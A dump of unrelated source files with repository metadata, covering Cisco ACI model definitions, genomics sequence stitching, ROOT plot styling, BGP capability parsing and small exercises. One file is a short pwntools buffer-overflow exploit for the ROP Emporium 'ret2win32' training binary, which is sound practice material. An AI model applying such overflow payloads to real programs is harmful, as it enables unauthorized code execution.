prop._addConstant("ERR-modify-domain-mode", None, 1580)
prop._addConstant("ERR-modify-domain-prefencapmode", None, 1584)
prop._addConstant("ERR-modify-role", None, 1527)
prop._addConstant("ERR-modify-user", None, 1525)
prop._addConstant("ERR-modify-user-domain", None, 1565)
prop._addConstant("ERR-modify-user-role", None, 1532)
prop._addConstant("ERR-no-buf", None, 1570)
prop._addConstant("ERR-passwd-set-failure", None, 1566)
prop._addConstant("ERR-provider-group-modify-error", None, 1519)
prop._addConstant("ERR-provider-group-set-error", None, 1512)
prop._addConstant("ERR-radius-global-set-error", None, 1505)
prop._addConstant("ERR-radius-group-set-error", None, 1501)
prop._addConstant("ERR-radius-set-error", None, 1504)
prop._addConstant("ERR-request-timeout", None, 1545)
prop._addConstant("ERR-role-set-error", None, 1515)
prop._addConstant("ERR-rsa-global-set-error", None, 1587)
prop._addConstant("ERR-rsa-group-set-error", None, 1585)
prop._addConstant("ERR-rsa-set-error", None, 1586)
prop._addConstant("ERR-secondary-node", None, 1550)
prop._addConstant("ERR-service-not-ready", None, 1539)
prop._addConstant("ERR-set-password-strength-check", None, 1543)
prop._addConstant("ERR-store-pre-login-banner-msg", None, 1521)
prop._addConstant("ERR-tacacs-enable-error", None, 1508)
prop._addConstant("ERR-tacacs-global-set-error", None, 1507)
prop._addConstant("ERR-tacacs-group-set-error", None, 1503)
prop._addConstant("ERR-tacacs-set-error", None, 1506)
prop._addConstant("ERR-user-account-expired", None, 1536)
prop._addConstant("ERR-user-set-error", None, 1517)
prop._addConstant("ERR-xml-parse-error", None, 1547)
prop._addConstant("communication-error", "communication-error", 1)
prop._addConstant("none", "none", 0)
meta.props.add("invErrCode", prop)
prop = PropMeta("str", "invErrDescr", "invErrDescr", 50, PropCategory.REGULAR)
prop.label = "Remote Error Description"
prop.isImplicit = True
prop.isAdmin = True
prop.range = [(0, 128)]
prop.regex = ['[a-zA-Z0-9\\!#$%()*,-./:;@ _{|}~?&+]+']
meta.props.add("invErrDescr", prop)
prop = PropMeta("str", "invRslt", "invRslt", 48, PropCategory.REGULAR)
prop.label = "Remote Result"
prop.isImplicit = True
prop.isAdmin = True
prop.defaultValue = 0
prop.defaultValueStr = "not-applicable"
prop._addConstant("capability-not-implemented-failure", "capability-not-implemented-failure", 16384)
prop._addConstant("capability-not-implemented-ignore", "capability-not-implemented-ignore", 8192)
prop._addConstant("capability-not-supported", "capability-not-supported", 32768)
prop._addConstant("capability-unavailable", "capability-unavailable", 65536)
prop._addConstant("end-point-failed", "end-point-failed", 32)
prop._addConstant("end-point-protocol-error", "end-point-protocol-error", 64)
prop._addConstant("end-point-unavailable", "end-point-unavailable", 16)
prop._addConstant("extend-timeout", "extend-timeout", 134217728)
prop._addConstant("failure", "failure", 1)
prop._addConstant("fru-identity-indeterminate", "fru-identity-indeterminate", 4194304)
prop._addConstant("fru-info-malformed", "fru-info-malformed", 8388608)
prop._addConstant("fru-not-ready", "fru-not-ready", 67108864)
prop._addConstant("fru-not-supported", "fru-not-supported", 536870912)
prop._addConstant("fru-state-indeterminate", "fru-state-indeterminate", 33554432)
prop._addConstant("fw-defect", "fw-defect", 256)
prop._addConstant("hw-defect", "hw-defect", 512)
prop._addConstant("illegal-fru", "illegal-fru", 16777216)
prop._addConstant("intermittent-error", "intermittent-error", 1073741824)
prop._addConstant("internal-error", "internal-error", 4)
prop._addConstant("not-applicable", "not-applicable", 0)
prop._addConstant("resource-capacity-exceeded", "resource-capacity-exceeded", 2048)
prop._addConstant("resource-dependency", "resource-dependency", 4096)
prop._addConstant("resource-unavailable", "resource-unavailable", 1024)
prop._addConstant("service-not-implemented-fail", "service-not-implemented-fail", 262144)
prop._addConstant("service-not-implemented-ignore", "service-not-implemented-ignore", 131072)
prop._addConstant("service-not-supported", "service-not-supported", 524288)
prop._addConstant("service-protocol-error", "service-protocol-error", 2097152)
prop._addConstant("service-unavailable", "service-unavailable", 1048576)
prop._addConstant("sw-defect", "sw-defect", 128)
prop._addConstant("task-reset", "task-reset", 268435456)
prop._addConstant("timeout", "timeout", 8)
prop._addConstant("unidentified-fail", "unidentified-fail", 2)
meta.props.add("invRslt", prop)
prop = PropMeta("str", "lcOwn", "lcOwn", 9, PropCategory.REGULAR)
prop.label = "None"
prop.isImplicit = True
prop.isAdmin = True
prop.defaultValue = 0
prop.defaultValueStr = "local"
prop._addConstant("implicit", "implicit", 4)
prop._addConstant("local", "local", 0)
prop._addConstant("policy", "policy", 1)
prop._addConstant("replica", "replica", 2)
prop._addConstant("resolveOnBehalf", "resolvedonbehalf", 3)
meta.props.add("lcOwn", prop)
prop = PropMeta("str", "modTs", "modTs", 7, PropCategory.REGULAR)
prop.label = "None"
prop.isImplicit = True
prop.isAdmin = True
prop.defaultValue = 0
prop.defaultValueStr = "never"
prop._addConstant("never", "never", 0)
meta.props.add("modTs", prop)
prop = PropMeta("str", "oDn", "oDn", 51, PropCategory.REGULAR)
prop.label = "Subject DN"
prop.isImplicit = True
prop.isAdmin = True
meta.props.add("oDn", prop)
prop = PropMeta("str", "operSt", "operSt", 15674, PropCategory.REGULAR)
prop.label = "Completion"
prop.isImplicit = True
prop.isAdmin = True
prop.defaultValue = 0
prop.defaultValueStr = "scheduled"
prop._addConstant("cancelled", "cancelled", 3)
prop._addConstant("completed", "completed", 2)
prop._addConstant("crashsuspect", "crash-suspect", 7)
prop._addConstant("failed", "failed", 4)
prop._addConstant("indeterminate", "indeterminate", 5)
prop._addConstant("processing", "processing", 1)
prop._addConstant("ready", "ready", 8)
prop._addConstant("scheduled", "scheduled", 0)
prop._addConstant("suspended", "suspended", 6)
meta.props.add("operSt", prop)
prop = PropMeta("str", "originMinority", "originMinority", 54, PropCategory.REGULAR)
prop.label = "None"
prop.isImplicit = True
prop.isAdmin = True
prop.defaultValue = False
prop.defaultValueStr = "no"
prop._addConstant("no", None, False)
prop._addConstant("yes", None, True)
meta.props.add("originMinority", prop)
prop = PropMeta("str", "rn", "rn", 2, PropCategory.RN)
prop.label = "None"
prop.isRn = True
prop.isImplicit = True
prop.isAdmin = True
prop.isCreateOnly = True
meta.props.add("rn", prop)
prop = PropMeta("str", "runId", "runId", 45, PropCategory.REGULAR)
prop.label = "ID"
prop.isImplicit = True
prop.isAdmin = True
meta.props.add("runId", prop)
prop = PropMeta("str", "startTs", "startTs", 36, PropCategory.REGULAR)
prop.label = "None"
prop.isImplicit = True
prop.isAdmin = True
prop.defaultValue = 0
prop.defaultValueStr = "never"
prop._addConstant("never", "never", 0)
meta.props.add("startTs", prop)
prop = PropMeta("str", "startTx", "startTx", 36895, PropCategory.REGULAR)
prop.label = "startTxId"
prop.isImplicit = True
prop.isAdmin = True
prop.defaultValue = 0
prop.defaultValueStr = "none"
prop._addConstant("none", "none", 0)
meta.props.add("startTx", prop)
prop = PropMeta("str", "status", "status", 3, PropCategory.STATUS)
prop.label = "None"
prop.isImplicit = True
prop.isAdmin = True
prop._addConstant("created", "created", 2)
prop._addConstant("deleted", "deleted", 8)
prop._addConstant("modified", "modified", 4)
meta.props.add("status", prop)
prop = PropMeta("str", "try", "try", 15574, PropCategory.REGULAR)
prop.label = "Try"
prop.isImplicit = True
prop.isAdmin = True
meta.props.add("try", prop)
prop = PropMeta("str", "ts", "ts", 47, PropCategory.REGULAR)
prop.label = "None"
prop.isImplicit = True
prop.isAdmin = True
prop.defaultValue = 0
prop.defaultValueStr = "never"
prop._addConstant("never", "never", 0)
meta.props.add("ts", prop)
meta.namingProps.append(getattr(meta.props, "id"))
def __init__(self, parentMoOrDn, id, markDirty=True, **creationProps):
namingVals = [id]
Mo.__init__(self, parentMoOrDn, markDirty, *namingVals, **creationProps)
# End of package file
# ##################################################
| [
"bkhoward@live.com"
] | bkhoward@live.com |
9f6345850132d48dabb1e26044ea02ea449056c4 | 4c9a5f1b44ad6fa84a984b8164414c99aba7f391 | /pepper/modules/python/Stitch.py | 0734eb61c124c59b09ff199496d23bcc7754cb4f | [
"MIT"
] | permissive | kishwarshafin/pepper | 20760a2a820d77ca5fc798957f0de658e936dcca | 30c8907501b254bb72d8f64dfb8cf54a1b7a60eb | refs/heads/r0.8 | 2023-08-04T07:03:53.564606 | 2022-07-08T18:22:01 | 2022-07-08T18:22:01 | 185,895,043 | 219 | 41 | MIT | 2023-07-22T05:17:46 | 2019-05-10T01:13:11 | Python | UTF-8 | Python | false | false | 5,521 | py | import h5py
import sys
from os.path import isfile, join
from os import listdir
import concurrent.futures
import numpy as np
from collections import defaultdict
import operator
from pepper.modules.python.Options import ImageSizeOptions
from datetime import datetime
label_decoder = {1: 'A', 2: 'C', 3: 'G', 4: 'T', 0: ''}
MIN_SEQUENCE_REQUIRED_FOR_MULTITHREADING = 2
def get_file_paths_from_directory(directory_path):
"""
Returns all paths of files given a directory path
:param directory_path: Path to the directory
:return: A list of paths of files
"""
file_paths = [join(directory_path, file) for file in listdir(directory_path)
if isfile(join(directory_path, file)) and file[-2:] == 'h5']
return file_paths
def chunks(file_names, threads):
"""Yield successive n-sized chunks from l."""
chunks = []
for i in range(0, len(file_names), threads):
chunks.append(file_names[i:i + threads])
return chunks
def small_chunk_stitch(contig, small_chunk_keys):
# for chunk_key in small_chunk_keys:
base_prediction_dictionary = defaultdict()
# phred_score_dictionary = defaultdict()
all_positions = set()
# ignore first 2 * MIN_IMAGE_OVERLAP bases as they are just overlaps
buffer_positions = ImageSizeOptions.MIN_IMAGE_OVERLAP * 2
for file_name, contig_name, _st, _end in small_chunk_keys:
chunk_name = contig_name + '-' + str(_st) + '-' + str(_end)
with h5py.File(file_name, 'r') as hdf5_file:
smaller_chunks = set(hdf5_file['predictions'][contig][chunk_name].keys()) - {'contig_start', 'contig_end'}
smaller_chunks = sorted(smaller_chunks)
for i, chunk in enumerate(smaller_chunks):
with h5py.File(file_name, 'r') as hdf5_file:
bases = hdf5_file['predictions'][contig][chunk_name][chunk]['bases'][()]
# phred_score = hdf5_file['predictions'][contig][chunk_name][chunk]['phred_score'][()]
positions = hdf5_file['predictions'][contig][chunk_name][chunk]['position'][()]
indices = hdf5_file['predictions'][contig][chunk_name][chunk]['index'][()]
positions = np.array(positions, dtype=np.int64)
base_predictions = np.array(bases, dtype=np.int)
# if _st == 107900:
# print(positions)
for pos, indx, base_pred in zip(positions, indices, base_predictions):
# not take the first buffer bases for every chunk that has an overlap to the last chunk
if _st > 0 and pos <= _st + buffer_positions:
continue
if indx < 0 or pos < 0:
continue
base_prediction_dictionary[(pos, indx)] = base_pred
# phred_score_dictionary[(pos, indx)] = base_score + 33
all_positions.add((pos, indx))
if len(all_positions) == 0:
return -1, -1, ''
pos_list = sorted(list(all_positions), key=lambda element: (element[0], element[1]))
dict_fetch = operator.itemgetter(*pos_list)
# weird but python has no casting between np.int64 to list
if len(pos_list) > 1:
predicted_base_labels = list(dict_fetch(base_prediction_dictionary))
# predicted_phred_scores = list(dict_fetch(phred_score_dictionary))
else:
predicted_base_labels = [dict_fetch(base_prediction_dictionary)]
# predicted_phred_scores = [dict_fetch(phred_score_dictionary)]
sequence = ''.join([label_decoder[base] for base in predicted_base_labels])
# phred_score = ''.join([chr(phred_score) for base, phred_score in zip(predicted_base_labels, predicted_phred_scores) if base != 0])
first_pos = pos_list[0][0]
last_pos = pos_list[-1][0]
return first_pos, last_pos, sequence
def create_consensus_sequence(contig, sequence_chunk_keys, threads):
sequence_chunk_keys = sorted(sequence_chunk_keys, key=lambda element: (element[1]))
sequence_chunk_key_list = list()
for file_name, sequence_chunk_key, contig_start, contig_end in sequence_chunk_keys:
sequence_chunk_key_list.append((file_name, contig, int(contig_start), int(contig_end)))
sequence_chunk_key_list = sorted(sequence_chunk_key_list, key=lambda element: (element[2], element[3]))
sequence_chunks = list()
# generate the dictionary in parallel
with concurrent.futures.ProcessPoolExecutor(max_workers=threads) as executor:
file_chunks = chunks(sequence_chunk_key_list, max(MIN_SEQUENCE_REQUIRED_FOR_MULTITHREADING,
int(len(sequence_chunk_key_list) / threads) + 1))
futures = [executor.submit(small_chunk_stitch, contig, chunk) for chunk in file_chunks]
for fut in concurrent.futures.as_completed(futures):
if fut.exception() is None:
first_pos, last_pos, sequence = fut.result()
if first_pos != -1 and last_pos != -1:
sequence_chunks.append((first_pos, last_pos, sequence))
else:
sys.stderr.write("[" + str(datetime.now().strftime('%m-%d-%Y %H:%M:%S')) + "] ERROR: " + str(fut.exception()) + "\n")
fut._result = None # python issue 27144
sequence_chunks = sorted(sequence_chunks, key=lambda element: (element[0], element[1]))
stitched_sequence = ''
for first_pos, last_pos, sequence in sequence_chunks:
stitched_sequence = stitched_sequence + sequence
return stitched_sequence
| [
"kishwar.shafin@gmail.com"
] | kishwar.shafin@gmail.com |
6557d0f91c736194fd7b901916bf5c217d93a5c8 | e2f20ded13f4877248b2db7d5251c701bc586745 | /hggStyle.py | b743da4cb04a28f2693918482b6b945763ab6a92 | [] | no_license | flashgg-validation/plotZeeValidation | 965f1c8c8dd5aa5e7250abad04add18a48955ee8 | 0c845060d7498ce92780839ec2da46515145abf3 | refs/heads/master | 2021-01-17T07:52:56.292151 | 2017-02-13T15:18:21 | 2017-02-13T15:18:21 | 60,186,146 | 0 | 2 | null | 2016-06-03T15:03:54 | 2016-06-01T14:53:36 | Python | UTF-8 | Python | false | false | 1,451 | py | import ROOT
def hggStyle():
hggStyle = ROOT.TStyle("hggPaperStyle","Hgg Paper Style")
hggStyle.SetFrameFillColor(0)
hggStyle.SetStatColor(0)
hggStyle.SetOptStat(0)
hggStyle.SetTitleFillColor(0)
hggStyle.SetCanvasBorderMode(0)
hggStyle.SetPadBorderMode(0)
hggStyle.SetFrameBorderMode(0)
hggStyle.SetPadColor(ROOT.kWhite)
hggStyle.SetCanvasColor(ROOT.kWhite)
hggStyle.SetCanvasDefH(600) #Height of canvas
hggStyle.SetCanvasDefW(600) #Width of canvas
hggStyle.SetCanvasDefX(0) #POsition on screen
hggStyle.SetCanvasDefY(0)
hggStyle.SetPadLeftMargin(0.13)#0.16)
hggStyle.SetPadRightMargin(0.1)#0.02)
hggStyle.SetPadTopMargin(0.085)#0.02)
hggStyle.SetPadBottomMargin(0.12)#0.02)
# For hgg axis titles:
hggStyle.SetTitleColor(1, "XYZ")
hggStyle.SetTitleFont(42, "XYZ")
hggStyle.SetTitleSize(0.05, "XYZ")
hggStyle.SetTitleXOffset(0.95)#0.9)
hggStyle.SetTitleYOffset(1.15) # => 1.15 if exponents
# For hgg axis labels:
hggStyle.SetLabelColor(1, "XYZ")
hggStyle.SetLabelFont(42, "XYZ")
hggStyle.SetLabelOffset(0.007, "XYZ")
hggStyle.SetLabelSize(0.04, "XYZ")
# Legends
hggStyle.SetLegendBorderSize(0)
hggStyle.SetLegendFillColor(ROOT.kWhite)
hggStyle.SetLegendFont(42)
hggStyle.SetFillColor(10)
# Nothing for now
hggStyle.SetTextFont(42)
hggStyle.SetTextSize(0.03)
hggStyle.cd()
| [
"matteosan1@gmail.com"
] | matteosan1@gmail.com |
868f76281959f6253538cf380f9a2a1802982d27 | 80bbc5a4a5ebbf1be75afc8cd0102dcd60a6a081 | /huaula/github.py | 3aa2e1ee9344de60626d53cb4631a59a37e5ffcd | [
"MIT"
] | permissive | renzon/hu | 642dc6bac9501eaee99623108d4c5c0aa04a1c52 | 4147f38e138e73db54cd9a81812795e793bdb921 | refs/heads/master | 2021-01-01T05:01:03.889460 | 2016-05-13T20:55:08 | 2016-05-13T20:55:08 | 58,227,578 | 2 | 1 | MIT | 2019-10-22T18:03:47 | 2016-05-06T18:38:25 | Python | UTF-8 | Python | false | false | 501 | py | import json
from os import path
import requests
diretorio_dese_arquivo = path.dirname(__file__)
diretorio_huaula = path.join(diretorio_dese_arquivo, '..')
diretorio_do_projeto = path.abspath(diretorio_huaula)
import sys
sys.path.append(diretorio_do_projeto)
from huaula import dunder_main
def buscar_avatar(nome):
r = requests.get('https://api.github.com/users/{}'.format(nome),)
dados = json.loads(r.text)
dunder_main.b
return dados['avatar_url']
print(buscar_avatar('renzon')) | [
"renzon@gmail.com"
] | renzon@gmail.com |
9e677bece07b63a388f96d5c6dd85353008dfab7 | 531c5c6fab45a69c36b716196c713fa1b67cc88f | /0x00_ret2win/32-bit/exploit.py | 11229c37cbfd158ba3eb985b9b7c4fcab0a002ed | [] | no_license | youngkao/ROP_Emporium | b79a06bb97db9fc3d156c064a84f35e585493fa5 | d4ca8b99bf2960e2c867f3360c901e649a614f8c | refs/heads/master | 2022-02-19T04:05:33.706883 | 2019-09-25T12:23:39 | 2019-09-25T12:23:39 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 362 | py | import sys; sys.path.append("../..")
import shared_pwn
from pwn import *
BINARY_NAME = "ret2win32"
BUFFER_LEN = 44
io = process(f"./{BINARY_NAME}")
junk = b"\x90" * BUFFER_LEN
# Pointers
win_addr = p32(0x08048659)
# Payload creation
payload = b""
payload += junk
payload += win_addr
io.recvuntil("> ")
io.send(payload)
io.send("\n")
shared_pwn._recvall(io) | [
"afray@protonmail.com"
] | afray@protonmail.com |
c036217771fed754eb3e8ccbcefae4fe4921134a | 9743d5fd24822f79c156ad112229e25adb9ed6f6 | /xai/brain/wordbase/adjectives/_variegated.py | 066dd80491cf63f80a64cabdac0ff24abbe116a3 | [
"MIT"
] | permissive | cash2one/xai | de7adad1758f50dd6786bf0111e71a903f039b64 | e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6 | refs/heads/master | 2021-01-19T12:33:54.964379 | 2017-01-28T02:00:50 | 2017-01-28T02:00:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 414 | py |
#calss header
class _VARIEGATED():
def __init__(self,):
self.name = "VARIEGATED"
self.definitions = [u'having a pattern of different colours or marks: ']
self.parents = []
self.childen = []
self.properties = []
self.jsondata = {}
self.specie = 'adjectives'
def run(self, obj1, obj2):
self.jsondata[obj2] = {}
self.jsondata[obj2]['properties'] = self.name.lower()
return self.jsondata
| [
"xingwang1991@gmail.com"
] | xingwang1991@gmail.com |
1b0da8a0baa221478bc19fb0a1088a711ad3a254 | 6ea679ac5cdaf5e6f8d9584194ad74440762eea3 | /lib/exabgp/bgp/message/open/capability/capability.py | 7a6fccdf09ef4c9778a8b12e6ea3e2e5c7eff9fa | [] | no_license | h-naoto/exabgp | 0d7b307d9e23e50a295bc70283141c58f9ef83f1 | 05a96e99c35256160df8923e7a17f57e3ca36e3d | refs/heads/master | 2021-01-15T18:04:42.333066 | 2015-02-05T08:11:37 | 2015-02-05T08:11:37 | 30,223,499 | 0 | 0 | null | 2015-02-03T03:48:25 | 2015-02-03T03:48:25 | null | UTF-8 | Python | false | false | 4,190 | py | # encoding: utf-8
"""
capability.py
Created by Thomas Mangin on 2012-07-17.
Copyright (c) 2009-2015 Exa Networks. All rights reserved.
"""
from exabgp.bgp.message.notification import Notify
# =================================================================== Capability
#
class Capability (object):
class CODE (int):
__slots__ = []
RESERVED = 0x00 # [RFC5492]
MULTIPROTOCOL = 0x01 # [RFC2858]
ROUTE_REFRESH = 0x02 # [RFC2918]
OUTBOUND_ROUTE_FILTERING = 0x03 # [RFC5291]
MULTIPLE_ROUTES = 0x04 # [RFC3107]
EXTENDED_NEXT_HOP = 0x05 # [RFC5549]
# 6-63 Unassigned
GRACEFUL_RESTART = 0x40 # [RFC4724]
FOUR_BYTES_ASN = 0x41 # [RFC4893]
# 66 Deprecated
DYNAMIC_CAPABILITY = 0x43 # [Chen]
MULTISESSION = 0x44 # [draft-ietf-idr-bgp-multisession]
ADD_PATH = 0x45 # [draft-ietf-idr-add-paths]
ENHANCED_ROUTE_REFRESH = 0x46 # [draft-ietf-idr-bgp-enhanced-route-refresh]
OPERATIONAL = 0x47 # ExaBGP only ...
# 70-127 Unassigned
ROUTE_REFRESH_CISCO = 0x80 # I Can only find reference to this in the router logs
# 128-255 Reserved for Private Use [RFC5492]
MULTISESSION_CISCO = 0x83 # What Cisco really use for Multisession (yes this is a reserved range in prod !)
EXTENDED_MESSAGE = -1 # No yet defined by draft http://tools.ietf.org/html/draft-ietf-idr-extended-messages-02.txt
unassigned = range(70,128)
reserved = range(128,256)
# Internal
AIGP = 0xFF00
names = {
RESERVED: 'reserved',
MULTIPROTOCOL: 'multiprotocol',
ROUTE_REFRESH: 'route-refresh',
OUTBOUND_ROUTE_FILTERING: 'outbound-route-filtering',
MULTIPLE_ROUTES: 'multiple-routes',
EXTENDED_NEXT_HOP: 'extended-next-hop',
GRACEFUL_RESTART: 'graceful-restart',
FOUR_BYTES_ASN: 'asn4',
DYNAMIC_CAPABILITY: 'dynamic-capability',
MULTISESSION: 'multi-session',
ADD_PATH: 'add-path',
ENHANCED_ROUTE_REFRESH: 'enhanced-route-refresh',
OPERATIONAL: 'operational',
ROUTE_REFRESH_CISCO: 'cisco-route-refresh',
MULTISESSION_CISCO: 'cisco-multi-sesion',
AIGP: 'aigp',
}
def __str__ (self):
name = self.names.get(self,None)
if name is None:
if self in Capability.CODE.unassigned:
return 'unassigned-%s' % hex(self)
if self in Capability.CODE.reserved:
return 'reserved-%s' % hex(self)
return 'capability-%s' % hex(self)
return name
def __repr__ (self):
return str(self)
@classmethod
def name (cls,self):
name = cls.names.get(self,None)
if name is None:
if self in Capability.CODE.unassigned:
return 'unassigned-%s' % hex(self)
if self in Capability.CODE.reserved:
return 'reserved-%s' % hex(self)
return name
registered_capability = dict()
_fallback_capability = None
@staticmethod
def hex (data):
return '0x' + ''.join('%02x' % ord(_) for _ in data)
@classmethod
def fallback_capability (cls, imp):
if cls._fallback_capability is not None:
raise RuntimeError('only one fallback function can be registered')
cls._fallback_capability = imp
@staticmethod
def register_capability (klass,capability=None):
# ID is defined by all the subclasses - otherwise they do not work :)
what = klass.ID if capability is None else capability # pylint: disable=E1101
if what in klass.registered_capability:
raise RuntimeError('only one class can be registered per capability')
klass.registered_capability[what] = klass
@classmethod
def klass (cls,what):
if what in cls.registered_capability:
kls = cls.registered_capability[what]
kls.ID = what
return kls
if cls._fallback_capability:
return cls._fallback_capability
raise Notify (2,4,'can not handle capability %s' % what)
@classmethod
def unpack (cls,capability,capabilities,data):
instance = capabilities.get(capability,Capability.klass(capability)())
return cls.klass(capability).unpack_capability(instance,data,capability)
| [
"thomas.mangin@exa-networks.co.uk"
] | thomas.mangin@exa-networks.co.uk |
2afaad96ff00e3e3de0b221b11e2f3db5bd578bf | d1f971b9fa0edfa633b62887cf9d173d6a86a440 | /data_structures_and_algorithms/exercises/Recursions/sum_digits_iterative.py | d6529b86b2ccb00c3aef778d5028fdab5cc12eec | [] | no_license | papan36125/python_exercises | d45cf434c15aa46e10967c13fbe9658915826478 | 748eed2b19bccf4b5c700075675de87c7c70c46e | refs/heads/master | 2020-04-28T10:01:10.361108 | 2019-05-10T13:45:35 | 2019-05-10T13:45:35 | 175,187,760 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 288 | py | # Linear - O(N)
def sum_digits(n):
if n < 0:
ValueError("Inputs 0 or greater only!")
result = 0
while n is not 0:
result += n % 10
n = n // 10
return result + n
sum_digits(12)
# 1 + 2
# 3
sum_digits(552)
# 5 + 5 + 2
# 12
sum_digits(123456789)
# 1 + 2 + 3 + 4...
# 45
| [
"noreply@github.com"
] | papan36125.noreply@github.com |
80bbc6e2f6bcd9d7b41013d8b2c550e98e0920ed | da853ef2c9946344ae34829355a507052f1af411 | /PycharmProjects/tuples.py | cf7ab20f7eeaa1f522356d52123c7c22e400e309 | [] | no_license | SubhamSingh1/star | c4f3d2ac0470e81847fef4436c0cbd3e1ea9bf6c | 33531c1f224e0a553d93d877724db673bf6941db | refs/heads/master | 2022-12-21T13:27:03.969571 | 2021-10-01T07:31:17 | 2021-10-01T07:31:17 | 235,774,208 | 0 | 0 | null | 2022-12-14T11:40:12 | 2020-01-23T10:43:20 | Python | UTF-8 | Python | false | false | 57 | py | tuple1 = (1,2,3,4,5)
print(tuple1[-1])
print(tuple1[-4])
| [
"60218236+SubhamSingh1@users.noreply.github.com"
] | 60218236+SubhamSingh1@users.noreply.github.com |
51278c6c7c276bdac6699685e2380d14239b4a52 | 52b5773617a1b972a905de4d692540d26ff74926 | /.history/binaryTree2_20200617161602.py | 904a5a72342f25c5640e14213b27638d3386851d | [] | no_license | MaryanneNjeri/pythonModules | 56f54bf098ae58ea069bf33f11ae94fa8eedcabc | f4e56b1e4dda2349267af634a46f6b9df6686020 | refs/heads/master | 2022-12-16T02:59:19.896129 | 2020-09-11T12:05:22 | 2020-09-11T12:05:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,105 | py | # Create a node and assign a value to the node
# A tree node contains data then pointer to left child and pointer to right child
class Node:
def __init__(self,data):
# designate one node as root
self.data = data
# then the two others as child nodes
self.left = None
self.right = None
def inorder(root,newArr):
if root:
# Traverse left
inorder(root.left,newArr)
newArr.append(root.data)
inorder(root.right,newArr)
print(newArr)
return newArr
def morris_traversal(root):
# function for iterative inorder tree traversal
current = root
while current is not None:
# do the following
if current.left is None:
yield current.data
else:
# find the current in order predecessor of current
pre = current.left
while pre.right is not None
root = Node(1)
root.left = Node(2)
root.right = Node(3)
root.left.right = Node(4)
root.left.left = Node(7)
print(inorder(root,[]))
| [
"mary.jereh@gmail.com"
] | mary.jereh@gmail.com |
a7b54272021537b38792b78c662b99775170cab6 | 24fe1f54fee3a3df952ca26cce839cc18124357a | /servicegraph/lib/python2.7/site-packages/acimodel-4.0_3d-py2.7.egg/cobra/modelimpl/eqpt/ingrerrpktshist.py | dbdeaffa4a8787bcd1449adb1fd085f6c88d4156 | [] | no_license | aperiyed/servicegraph-cloudcenter | 4b8dc9e776f6814cf07fe966fbd4a3481d0f45ff | 9eb7975f2f6835e1c0528563a771526896306392 | refs/heads/master | 2023-05-10T17:27:18.022381 | 2020-01-20T09:18:28 | 2020-01-20T09:18:28 | 235,065,676 | 0 | 0 | null | 2023-05-01T21:19:14 | 2020-01-20T09:36:37 | Python | UTF-8 | Python | false | false | 24,286 | py | # coding=UTF-8
# **********************************************************************
# Copyright (c) 2013-2019 Cisco Systems, Inc. All rights reserved
# written by zen warriors, do not modify!
# **********************************************************************
from cobra.mit.meta import ClassMeta
from cobra.mit.meta import StatsClassMeta
from cobra.mit.meta import CounterMeta
from cobra.mit.meta import PropMeta
from cobra.mit.meta import Category
from cobra.mit.meta import SourceRelationMeta
from cobra.mit.meta import NamedSourceRelationMeta
from cobra.mit.meta import TargetRelationMeta
from cobra.mit.meta import DeploymentPathMeta, DeploymentCategory
from cobra.model.category import MoCategory, PropCategory, CounterCategory
from cobra.mit.mo import Mo
# ##################################################
class IngrErrPktsHist(Mo):
meta = StatsClassMeta("cobra.model.eqpt.IngrErrPktsHist", "Ingress Error Packets")
counter = CounterMeta("crcCountRate", CounterCategory.GAUGE, "packets-per-second", "CRC Align Errored Packets rate")
counter._propRefs[PropCategory.IMPLICIT_MIN] = "crcCountRateMin"
counter._propRefs[PropCategory.IMPLICIT_MAX] = "crcCountRateMax"
counter._propRefs[PropCategory.IMPLICIT_AVG] = "crcCountRateAvg"
counter._propRefs[PropCategory.IMPLICIT_SUSPECT] = "crcCountRateSpct"
counter._propRefs[PropCategory.IMPLICIT_THRESHOLDED] = "crcCountRateThr"
counter._propRefs[PropCategory.IMPLICIT_TREND] = "crcCountRateTr"
meta._counters.append(counter)
counter = CounterMeta("crcCount", CounterCategory.COUNTER, "packets", "CRC Align Errored Packets")
counter._propRefs[PropCategory.IMPLICIT_CUMULATIVE] = "crcCountCum"
counter._propRefs[PropCategory.IMPLICIT_PERIODIC] = "crcCountPer"
counter._propRefs[PropCategory.IMPLICIT_MIN] = "crcCountMin"
counter._propRefs[PropCategory.IMPLICIT_MAX] = "crcCountMax"
counter._propRefs[PropCategory.IMPLICIT_AVG] = "crcCountAvg"
counter._propRefs[PropCategory.IMPLICIT_SUSPECT] = "crcCountSpct"
counter._propRefs[PropCategory.IMPLICIT_THRESHOLDED] = "crcCountThr"
counter._propRefs[PropCategory.IMPLICIT_TREND] = "crcCountTr"
counter._propRefs[PropCategory.IMPLICIT_RATE] = "crcCountRate"
meta._counters.append(counter)
counter = CounterMeta("crc", CounterCategory.GAUGE, "percentage", "CRC Align Errors")
counter._propRefs[PropCategory.IMPLICIT_MIN] = "crcMin"
counter._propRefs[PropCategory.IMPLICIT_MAX] = "crcMax"
counter._propRefs[PropCategory.IMPLICIT_AVG] = "crcAvg"
counter._propRefs[PropCategory.IMPLICIT_SUSPECT] = "crcSpct"
counter._propRefs[PropCategory.IMPLICIT_THRESHOLDED] = "crcThr"
counter._propRefs[PropCategory.IMPLICIT_TREND] = "crcTr"
meta._counters.append(counter)
meta.isAbstract = True
meta.moClassName = "eqptIngrErrPktsHist"
meta.moClassName = "eqptIngrErrPktsHist"
meta.rnFormat = ""
meta.category = MoCategory.STATS_HISTORY
meta.label = "historical Ingress Error Packets stats"
meta.writeAccessMask = 0x1
meta.readAccessMask = 0x1
meta.isDomainable = False
meta.isReadOnly = True
meta.isConfigurable = False
meta.isDeletable = False
meta.isContextRoot = False
meta.superClasses.add("cobra.model.stats.Item")
meta.superClasses.add("cobra.model.stats.Hist")
meta.concreteSubClasses.add("cobra.model.eqpt.IngrErrPktsHist1mo")
meta.concreteSubClasses.add("cobra.model.eqpt.IngrErrPktsHist1w")
meta.concreteSubClasses.add("cobra.model.eqpt.IngrErrPktsHist1qtr")
meta.concreteSubClasses.add("cobra.model.eqpt.IngrErrPktsHist15min")
meta.concreteSubClasses.add("cobra.model.eqpt.IngrErrPktsHist5min")
meta.concreteSubClasses.add("cobra.model.eqpt.IngrErrPktsHist1year")
meta.concreteSubClasses.add("cobra.model.eqpt.IngrErrPktsHist1d")
meta.concreteSubClasses.add("cobra.model.eqpt.IngrErrPktsHist1h")
